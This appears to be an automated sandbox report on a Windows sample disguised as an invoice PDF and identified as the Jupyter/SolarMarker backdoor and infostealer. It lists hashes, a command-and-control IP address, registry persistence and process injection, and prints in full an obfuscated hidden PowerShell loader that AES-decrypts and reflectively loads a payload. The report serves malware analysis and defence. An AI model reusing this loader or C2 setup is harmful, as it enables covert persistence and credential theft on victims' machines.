jupyter | dbba073f0c88fe42a7614b65cb8db2f5ad346fdfb1e21763288d2d73e65c9b6f

General

Target

Tools-Invoice.pdf.exe
Size

272.0MB
MD5

19ec298f977fdc71f195a4782fa8b156
SHA1

4a6035ce7510a7cc02bb785244e2cfcaec89131d
SHA256

32b42c8c10ce7ec03005931d079fe7bb7f0e5b36bcf57a789081c6f7787e630c
SHA512

d8cd8e043c24998d41b06ed0de8a8628389dab04be583094e68f5660ccc666dc260367297d373c800869fe36878aa8730fe35c2eb0b1e6631c0c2fec338b2391
SSDEEP

49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJO:Uj+tNtV/AAFBH9yzLt

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

C2

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CQzGkMDWvjMXwvrCgUnUNTgoC.jycKueKeBsqQZVJ	Tools-Invoice.pdf.exe

Executes dropped EXE 1 IoCs

pid	Process
2328	TvtuziedoTs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\hxzlkbweciwmpgnwlhpamfihlbsjn	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\hxzlkbweciwmpgnwlhpamfihlbsjn\shell	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\hxzlkbweciwmpgnwlhpamfihlbsjn\shell\open	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\hxzlkbweciwmpgnwlhpamfihlbsjn\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxDUXpHa01EV3ZqTVh3dnJDZ1VuVU5UZ29DLmp5Y0t1ZUtlQnNxUVpWSg=='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\""	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\.jyckuekebsqqzvj	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\.jyckuekebsqqzvj\ = "hxzlkbweciwmpgnwlhpamfihlbsjn"	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\hxzlkbweciwmpgnwlhpamfihlbsjn\shell\open\command	Tools-Invoice.pdf.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2476	Tools-Invoice.pdf.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 2328	2272	Tools-Invoice.pdf.exe	30
PID 2272 wrote to memory of 2328	2272	Tools-Invoice.pdf.exe	30
PID 2272 wrote to memory of 2328	2272	Tools-Invoice.pdf.exe	30
PID 2272 wrote to memory of 2328	2272	Tools-Invoice.pdf.exe	30
PID 2272 wrote to memory of 2476	2272	Tools-Invoice.pdf.exe	31
PID 2272 wrote to memory of 2476	2272	Tools-Invoice.pdf.exe	31
PID 2272 wrote to memory of 2476	2272	Tools-Invoice.pdf.exe	31

C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe
  "C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:2476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/2272-1-0x000007FEF5160000-0x000007FEF5B4C000-memory.dmp

Filesize
9.9MB

Download
memory/2272-2-0x000007FEF5160000-0x000007FEF5B4C000-memory.dmp

Filesize
9.9MB

Download
memory/2272-0-0x0000000000340000-0x000000000057E000-memory.dmp

Filesize
2.2MB

Download
memory/2272-11-0x000007FEF5160000-0x000007FEF5B4C000-memory.dmp

Filesize
9.9MB

Download
memory/2328-18-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/2328-12-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/2328-13-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/2476-19-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2476-15-0x000007FEF5160000-0x000007FEF5B4C000-memory.dmp

Filesize
9.9MB

Download
memory/2476-10-0x000007FEF5160000-0x000007FEF5B4C000-memory.dmp

Filesize
9.9MB

Download
memory/2476-20-0x0000000000140000-0x000000000015C000-memory.dmp

Filesize
112KB

Download
memory/2476-21-0x0000000000160000-0x00000000001A8000-memory.dmp

Filesize
288KB

Download
memory/2476-22-0x00000000001C0000-0x00000000001C8000-memory.dmp

Filesize
32KB

Download
memory/2476-23-0x0000000000750000-0x00000000007F6000-memory.dmp

Filesize
664KB

Download
memory/2476-24-0x00000000001D0000-0x0000000000204000-memory.dmp

Filesize
208KB

Download
memory/2476-25-0x0000000000680000-0x00000000006CA000-memory.dmp

Filesize
296KB

Download
memory/2476-26-0x0000000000320000-0x0000000000336000-memory.dmp

Filesize
88KB

Download
memory/2476-27-0x000000001BC60000-0x000000001BCE0000-memory.dmp

Filesize
512KB

Download
memory/2476-30-0x000000001BB90000-0x000000001BC44000-memory.dmp

Filesize
720KB

Download
memory/2476-32-0x000000001BC60000-0x000000001BCE0000-memory.dmp

Filesize
512KB

Download

Analysis

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